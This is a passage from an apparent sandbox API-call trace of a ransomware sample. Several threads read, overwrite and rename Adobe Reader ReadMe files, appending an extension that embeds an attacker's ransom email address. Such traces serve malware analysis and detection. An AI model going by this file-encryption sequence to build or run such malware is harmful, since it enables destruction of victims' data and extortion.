| out: Seed=0x704fc60) returned 0x433639a6 [0058.437] RtlRandomEx (in: Seed=0x704fc60 | out: Seed=0x704fc60) returned 0x7fa6bfdb [0058.437] RtlRandomEx (in: Seed=0x704fc60 | out: Seed=0x704fc60) returned 0x75312512 [0058.437] RtlRandomEx (in: Seed=0x704fc60 | out: Seed=0x704fc60) returned 0x64a4806d [0058.437] RtlRandomEx (in: Seed=0x704fc60 | out: Seed=0x704fc60) returned 0x60328eee [0058.437] RtlRandomEx (in: Seed=0x704fc60 | out: Seed=0x704fc60) returned 0x2be4df8d [0058.437] RtlRandomEx (in: Seed=0x704fc60 | out: Seed=0x704fc60) returned 0x191f81b3 [0058.437] RtlRandomEx (in: Seed=0x704fc60 | out: Seed=0x704fc60) returned 0x3646753 [0058.437] RtlRandomEx (in: Seed=0x704fc60 | out: Seed=0x704fc60) returned 0x3ffcea27 [0058.437] RtlRandomEx (in: Seed=0x704fc60 | out: Seed=0x704fc60) returned 0x2158cc26 [0058.437] RtlRandomEx (in: Seed=0x704fc60 | out: Seed=0x704fc60) returned 0x56cb13b4 [0058.437] RtlRandomEx (in: Seed=0x704fc60 | out: Seed=0x704fc60) returned 0x1d6f6f65 [0058.437] RtlRandomEx (in: Seed=0x704fc60 | out: Seed=0x704fc60) returned 0x8fe6ae5 [0058.437] RtlRandomEx (in: Seed=0x704fc60 | out: Seed=0x704fc60) returned 0x372deb03 [0058.543] ReadFile (in: hFile=0xe90, lpBuffer=0x965a670, nNumberOfBytesToRead=0x4176, lpNumberOfBytesRead=0x704fc50, lpOverlapped=0x0 | out: lpBuffer=0x965a670*, lpNumberOfBytesRead=0x704fc50*=0x4176, lpOverlapped=0x0) returned 1 [0058.545] SetFilePointerEx (in: hFile=0xe90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.545] WriteFile (in: hFile=0xe90, lpBuffer=0x9666e78*, nNumberOfBytesToWrite=0x4176, lpNumberOfBytesWritten=0x704fc4c, lpOverlapped=0x0 | out: lpBuffer=0x9666e78*, lpNumberOfBytesWritten=0x704fc4c*=0x4176, lpOverlapped=0x0) returned 1 [0061.309] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec94f8 [0061.309] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9520 [0061.309] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9520) returned 1 [0061.309] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9666e78) returned 1 [0061.309] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x965a670) returned 1 [0061.311] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437508) returned 1 [0061.312] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c0d8) returned 1 [0061.312] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x21) returned 0x97cf020 [0061.312] SetFilePointerEx (in: hFile=0xe90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.312] WriteFile (in: hFile=0xe90, lpBuffer=0x44d1f0*, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0x704fcb4, lpOverlapped=0x0 | out: lpBuffer=0x44d1f0*, lpNumberOfBytesWritten=0x704fcb4*=0x105, lpOverlapped=0x0) returned 1 [0062.796] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44d1f0) returned 1 [0062.796] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf050) returned 1 [0062.796] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9548) returned 1 [0062.796] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf020) returned 1 [0062.796] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec94f8) returned 1 [0062.796] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e97b0) returned 1 [0062.796] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e96e8) returned 1 [0062.796] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9710) returned 1 [0062.796] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb0) returned 0x45ced0 [0062.796] wcscpy (in: _Dest=0x45ced0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm" [0062.796] wcscat (in: _Dest=0x45ced0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm.mailto[2Hamlampampom@cock.li].cd46d" [0062.796] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x704fc6c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0062.796] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc6) returned 0x5e00610 [0063.056] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00610) returned 1 [0063.056] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x49f9c0) returned 1 [0063.056] NtQueryInformationFile (in: FileHandle=0xe90, IoStatusBlock=0x704fc78, FileInformation=0x704fc50, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x704fc78, FileInformation=0x704fc50) returned 0x0 [0063.056] NtSetInformationFile (FileHandle=0xe90, IoStatusBlock=0x704fc78, FileInformation=0x704fc50, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.057] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45ced0) returned 1 [0063.057] FlushFileBuffers (hFile=0xe90) returned 1 [0066.208] CloseHandle (hObject=0xe90) Thread: id = 376 os_tid = 0xcc4 [0048.664] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmecs.htm")) returned 0x20 [0058.544] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm", dwFileAttributes=0x20) returned 1 [0058.546] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmecs.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe8c [0058.546] GetFileSizeEx (in: hFile=0xe8c, lpFileSize=0x713fe14 | out: lpFileSize=0x713fe14*=16241) returned 1 [0058.546] SetFilePointerEx (in: hFile=0xe8c, liDistanceToMove=0x3f6d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.546] ReadFile (in: hFile=0xe8c, lpBuffer=0x713fd98, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x713fd94, lpOverlapped=0x0 | out: lpBuffer=0x713fd98*, lpNumberOfBytesRead=0x713fd94*=0x4, lpOverlapped=0x0) returned 1 [0058.548] SetFilePointerEx (in: hFile=0xe8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.548] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4297a0 [0058.548] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4292c8 [0058.548] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429688 [0058.548] NtQuerySystemTime (in: CurrentTime=0x713fd74 | out: CurrentTime=0x713fd74*=132174898225236000) returned 0x0 [0058.548] RtlRandomEx (in: Seed=0x713fd80 | out: Seed=0x713fd80) returned 0x28ec8b [0058.548] RtlRandomEx (in: Seed=0x713fd80 | out: Seed=0x713fd80) returned 0x4b7f5f6d [0058.548] RtlRandomEx (in: Seed=0x713fd80 | out: Seed=0x713fd80) returned 0x5e1c7ba8 [0058.548] RtlRandomEx (in: Seed=0x713fd80 | out: Seed=0x713fd80) returned 0x48112b3 [0058.548] RtlRandomEx (in: Seed=0x713fd80 | out: Seed=0x713fd80) returned 0x61888248 [0058.548] RtlRandomEx (in: Seed=0x713fd80 | out: Seed=0x713fd80) returned 0x1c24c3f4 [0058.548] RtlRandomEx (in: Seed=0x713fd80 | out: Seed=0x713fd80) returned 0x1b9b26e [0058.548] RtlRandomEx (in: Seed=0x713fd80 | out: Seed=0x713fd80) returned 0x49aa7a2c [0058.548] RtlRandomEx (in: Seed=0x713fd80 | out: Seed=0x713fd80) returned 0x3bc8e12a [0058.548] RtlRandomEx (in: Seed=0x713fd80 | out: Seed=0x713fd80) returned 0x11f50ea4 [0058.548] RtlRandomEx (in: Seed=0x713fd80 | out: Seed=0x713fd80) returned 0x5232efec [0058.548] RtlRandomEx (in: Seed=0x713fd80 | out: Seed=0x713fd80) returned 0x6e5460ca [0058.548] RtlRandomEx (in: Seed=0x713fd80 | out: Seed=0x713fd80) returned 0x7eac6664 [0058.548] RtlRandomEx (in: Seed=0x713fd80 | out: Seed=0x713fd80) returned 0x164f1a29 [0058.548] RtlRandomEx (in: Seed=0x713fd80 | out: Seed=0x713fd80) returned 0xef7a993 [0058.548] RtlRandomEx (in: Seed=0x713fd80 | out: Seed=0x713fd80) returned 0x5414811 [0058.548] RtlRandomEx (in: Seed=0x713fd80 | out: Seed=0x713fd80) returned 0x5afa8d3d [0058.548] RtlRandomEx (in: Seed=0x713fd80 | out: Seed=0x713fd80) returned 0x3cc4f839 [0058.548] RtlRandomEx (in: Seed=0x713fd80 | out: Seed=0x713fd80) returned 0xdc2aa99 [0058.548] RtlRandomEx (in: Seed=0x713fd80 | out: Seed=0x713fd80) returned 0x5114f06c [0058.548] RtlRandomEx (in: Seed=0x713fd80 | out: Seed=0x713fd80) returned 0x6f111317 [0058.549] RtlRandomEx (in: Seed=0x713fd80 | out: Seed=0x713fd80) returned 0x52fba648 [0058.549] RtlRandomEx (in: Seed=0x713fd80 | out: Seed=0x713fd80) returned 0x6c932fc [0058.549] RtlRandomEx (in: Seed=0x713fd80 | out: Seed=0x713fd80) returned 0x32f1232a [0058.549] RtlRandomEx (in: Seed=0x713fd80 | out: Seed=0x713fd80) returned 0x75477787 [0058.549] RtlRandomEx (in: Seed=0x713fd80 | out: Seed=0x713fd80) returned 0x655ee274 [0058.549] RtlRandomEx (in: Seed=0x713fd80 | out: Seed=0x713fd80) returned 0x49ec3513 [0058.549] RtlRandomEx (in: Seed=0x713fd80 | out: Seed=0x713fd80) returned 0x2b81605c [0058.549] RtlRandomEx (in: Seed=0x713fd80 | out: Seed=0x713fd80) returned 0x283fec69 [0058.549] RtlRandomEx (in: Seed=0x713fd80 | out: Seed=0x713fd80) returned 0x7c185df9 [0058.549] RtlRandomEx (in: Seed=0x713fd80 | out: Seed=0x713fd80) returned 0x1189a1df [0058.549] RtlRandomEx (in: Seed=0x713fd80 | out: Seed=0x713fd80) returned 0x1e880513 [0058.560] ReadFile (in: hFile=0xe8c, lpBuffer=0x95e9e28, nNumberOfBytesToRead=0x3f71, lpNumberOfBytesRead=0x713fd70, lpOverlapped=0x0 | out: lpBuffer=0x95e9e28*, lpNumberOfBytesRead=0x713fd70*=0x3f71, lpOverlapped=0x0) returned 1 [0058.561] SetFilePointerEx (in: hFile=0xe8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.561] WriteFile (in: hFile=0xe8c, lpBuffer=0x95f6630*, nNumberOfBytesToWrite=0x3f71, lpNumberOfBytesWritten=0x713fd6c, lpOverlapped=0x0 | out: lpBuffer=0x95f6630*, lpNumberOfBytesWritten=0x713fd6c*=0x3f71, lpOverlapped=0x0) returned 1 [0058.575] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4297a0 [0058.575] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429688 [0058.575] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429688) returned 1 [0058.575] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95f6630) returned 1 [0058.575] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95e9e28) returned 1 [0058.575] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437580) returned 1 [0058.575] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c120) returned 1 [0058.575] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97cedb0 [0058.576] SetFilePointerEx (in: hFile=0xe8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.576] WriteFile (in: hFile=0xe8c, lpBuffer=0x12d7c508*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x713fdd4, lpOverlapped=0x0 | out: lpBuffer=0x12d7c508*, lpNumberOfBytesWritten=0x713fdd4*=0x109, lpOverlapped=0x0) returned 1 [0062.746] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7c508) returned 1 [0062.746] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ced20) returned 1 [0062.746] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429688) returned 1 [0062.746] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cedb0) returned 1 [0062.746] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4297a0) returned 1 [0062.746] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4292c8) returned 1 [0062.746] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4292f0) returned 1 [0062.746] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429228) returned 1 [0062.746] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb4) returned 0x5e024e0 [0062.746] wcscpy (in: _Dest=0x5e024e0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm" [0062.746] wcscat (in: _Dest=0x5e024e0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm.mailto[2Hamlampampom@cock.li].cd46d" [0062.746] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x713fd8c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0062.746] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xca) returned 0x40d970 [0063.011] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40d970) returned 1 [0063.011] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48eaa8) returned 1 [0063.012] NtQueryInformationFile (in: FileHandle=0xe8c, IoStatusBlock=0x713fd98, FileInformation=0x713fd70, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x713fd98, FileInformation=0x713fd70) returned 0x0 [0063.012] NtSetInformationFile (FileHandle=0xe8c, IoStatusBlock=0x713fd98, FileInformation=0x713fd70, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.016] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e024e0) returned 1 [0063.016] FlushFileBuffers (hFile=0xe8c) returned 1 [0066.198] CloseHandle (hObject=0xe8c) Thread: id = 377 os_tid = 0xcc8 [0048.665] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmect.htm")) returned 0x20 [0058.652] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm", dwFileAttributes=0x20) returned 1 [0058.653] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmect.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xae4 [0058.653] GetFileSizeEx (in: hFile=0xae4, lpFileSize=0x6b6fba8 | out: lpFileSize=0x6b6fba8*=16289) returned 1 [0058.653] SetFilePointerEx (in: hFile=0xae4, liDistanceToMove=0x3f9d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.653] ReadFile (in: hFile=0xae4, lpBuffer=0x6b6fb2c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x6b6fb28, lpOverlapped=0x0 | out: lpBuffer=0x6b6fb2c*, lpNumberOfBytesRead=0x6b6fb28*=0x4, lpOverlapped=0x0) returned 1 [0058.655] SetFilePointerEx (in: hFile=0xae4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.655] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429340 [0058.655] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429570 [0058.655] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9648 [0058.655] NtQuerySystemTime (in: CurrentTime=0x6b6fb08 | out: CurrentTime=0x6b6fb08*=132174898226328000) returned 0x0 [0058.655] RtlRandomEx (in: Seed=0x6b6fb14 | out: Seed=0x6b6fb14) returned 0x7d473de1 [0058.655] RtlRandomEx (in: Seed=0x6b6fb14 | out: Seed=0x6b6fb14) returned 0x1f86880e [0058.655] RtlRandomEx (in: Seed=0x6b6fb14 | out: Seed=0x6b6fb14) returned 0x5a774856 [0058.655] RtlRandomEx (in: Seed=0x6b6fb14 | out: Seed=0x6b6fb14) returned 0x29829900 [0058.655] RtlRandomEx (in: Seed=0x6b6fb14 | out: Seed=0x6b6fb14) returned 0x1343aeb7 [0058.655] RtlRandomEx (in: Seed=0x6b6fb14 | out: Seed=0x6b6fb14) returned 0x71a2bbc [0058.655] RtlRandomEx (in: Seed=0x6b6fb14 | out: Seed=0x6b6fb14) returned 0xfa83268 [0058.655] RtlRandomEx (in: Seed=0x6b6fb14 | out: Seed=0x6b6fb14) returned 0x19c515aa [0058.655] RtlRandomEx (in: Seed=0x6b6fb14 | out: Seed=0x6b6fb14) returned 0x6048b4b [0058.655] RtlRandomEx (in: Seed=0x6b6fb14 | out: Seed=0x6b6fb14) returned 0x34380a9c [0058.655] RtlRandomEx (in: Seed=0x6b6fb14 | out: Seed=0x6b6fb14) returned 0x45278528 [0058.655] RtlRandomEx (in: Seed=0x6b6fb14 | out: Seed=0x6b6fb14) returned 0x731002a7 [0058.655] RtlRandomEx (in: Seed=0x6b6fb14 | out: Seed=0x6b6fb14) returned 0x2def002d [0058.655] RtlRandomEx (in: Seed=0x6b6fb14 | out: Seed=0x6b6fb14) returned 0x6e2a2aa5 [0058.655] RtlRandomEx (in: Seed=0x6b6fb14 | out: Seed=0x6b6fb14) returned 0x2043607b [0058.655] RtlRandomEx (in: Seed=0x6b6fb14 | out: Seed=0x6b6fb14) returned 0x15ed2150 [0058.655] RtlRandomEx (in: Seed=0x6b6fb14 | out: Seed=0x6b6fb14) returned 0x6bc9baed [0058.656] RtlRandomEx (in: Seed=0x6b6fb14 | out: Seed=0x6b6fb14) returned 0x309c8c2d [0058.656] RtlRandomEx (in: Seed=0x6b6fb14 | out: Seed=0x6b6fb14) returned 0x1e148267 [0058.656] RtlRandomEx (in: Seed=0x6b6fb14 | out: Seed=0x6b6fb14) returned 0xa615c25 [0058.656] RtlRandomEx (in: Seed=0x6b6fb14 | out: Seed=0x6b6fb14) returned 0x111c036 [0058.656] RtlRandomEx (in: Seed=0x6b6fb14 | out: Seed=0x6b6fb14) returned 0x767c4518 [0058.656] RtlRandomEx (in: Seed=0x6b6fb14 | out: Seed=0x6b6fb14) returned 0x7b62898 [0058.656] RtlRandomEx (in: Seed=0x6b6fb14 | out: Seed=0x6b6fb14) returned 0x37abb706 [0058.656] RtlRandomEx (in: Seed=0x6b6fb14 | out: Seed=0x6b6fb14) returned 0x4d644463 [0058.656] RtlRandomEx (in: Seed=0x6b6fb14 | out: Seed=0x6b6fb14) returned 0x642d4fce [0058.656] RtlRandomEx (in: Seed=0x6b6fb14 | out: Seed=0x6b6fb14) returned 0x58b69064 [0058.656] RtlRandomEx (in: Seed=0x6b6fb14 | out: Seed=0x6b6fb14) returned 0x2338a2ea [0058.656] RtlRandomEx (in: Seed=0x6b6fb14 | out: Seed=0x6b6fb14) returned 0x949a865 [0058.656] RtlRandomEx (in: Seed=0x6b6fb14 | out: Seed=0x6b6fb14) returned 0x6e734c00 [0058.656] RtlRandomEx (in: Seed=0x6b6fb14 | out: Seed=0x6b6fb14) returned 0x66280bb3 [0058.656] RtlRandomEx (in: Seed=0x6b6fb14 | out: Seed=0x6b6fb14) returned 0x4fe71a6a [0058.668] ReadFile (in: hFile=0xae4, lpBuffer=0x194e9058, nNumberOfBytesToRead=0x3fa1, lpNumberOfBytesRead=0x6b6fb04, lpOverlapped=0x0 | out: lpBuffer=0x194e9058*, lpNumberOfBytesRead=0x6b6fb04*=0x3fa1, lpOverlapped=0x0) returned 1 [0058.669] SetFilePointerEx (in: hFile=0xae4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.669] WriteFile (in: hFile=0xae4, lpBuffer=0x194f5860*, nNumberOfBytesToWrite=0x3fa1, lpNumberOfBytesWritten=0x6b6fb00, lpOverlapped=0x0 | out: lpBuffer=0x194f5860*, lpNumberOfBytesWritten=0x6b6fb00*=0x3fa1, lpOverlapped=0x0) returned 1 [0058.674] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429340 [0058.674] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9648 [0058.674] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9648) returned 1 [0058.674] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x194f5860) returned 1 [0058.674] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x194e9058) returned 1 [0058.674] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4379b8) returned 1 [0058.674] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c000) returned 1 [0058.674] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97cee10 [0058.674] SetFilePointerEx (in: hFile=0xae4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.674] WriteFile (in: hFile=0xae4, lpBuffer=0x12d7c1c0*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x6b6fb68, lpOverlapped=0x0 | out: lpBuffer=0x12d7c1c0*, lpNumberOfBytesWritten=0x6b6fb68*=0x109, lpOverlapped=0x0) returned 1 [0062.748] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7c1c0) returned 1 [0062.748] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ced80) returned 1 [0062.748] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9648) returned 1 [0062.748] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cee10) returned 1 [0062.748] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429340) returned 1 [0062.748] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429570) returned 1 [0062.748] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9698) returned 1 [0062.748] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9788) returned 1 [0062.748] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb4) returned 0x5e027e0 [0062.748] wcscpy (in: _Dest=0x5e027e0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm" [0062.749] wcscat (in: _Dest=0x5e027e0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm.mailto[2Hamlampampom@cock.li].cd46d" [0062.749] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x6b6fb20, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0062.749] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xca) returned 0x40d7c0 [0063.050] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40d7c0) returned 1 [0063.050] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48f120) returned 1 [0063.050] NtQueryInformationFile (in: FileHandle=0xae4, IoStatusBlock=0x6b6fb2c, FileInformation=0x6b6fb04, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x6b6fb2c, FileInformation=0x6b6fb04) returned 0x0 [0063.050] NtSetInformationFile (FileHandle=0xae4, IoStatusBlock=0x6b6fb2c, FileInformation=0x6b6fb04, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.051] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e027e0) returned 1 [0063.051] FlushFileBuffers (hFile=0xae4) returned 1 [0066.208] CloseHandle (hObject=0xae4) Thread: id = 378 os_tid = 0xccc [0048.669] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmecze.htm")) returned 0x20 [0057.773] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm", dwFileAttributes=0x20) returned 1 [0057.928] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmecze.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2a4 [0057.928] GetFileSizeEx (in: hFile=0x2a4, lpFileSize=0x5fafc0c | out: lpFileSize=0x5fafc0c*=17955) returned 1 [0057.928] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x461f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.928] ReadFile (in: hFile=0x2a4, lpBuffer=0x5fafb90, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x5fafb8c, lpOverlapped=0x0 | 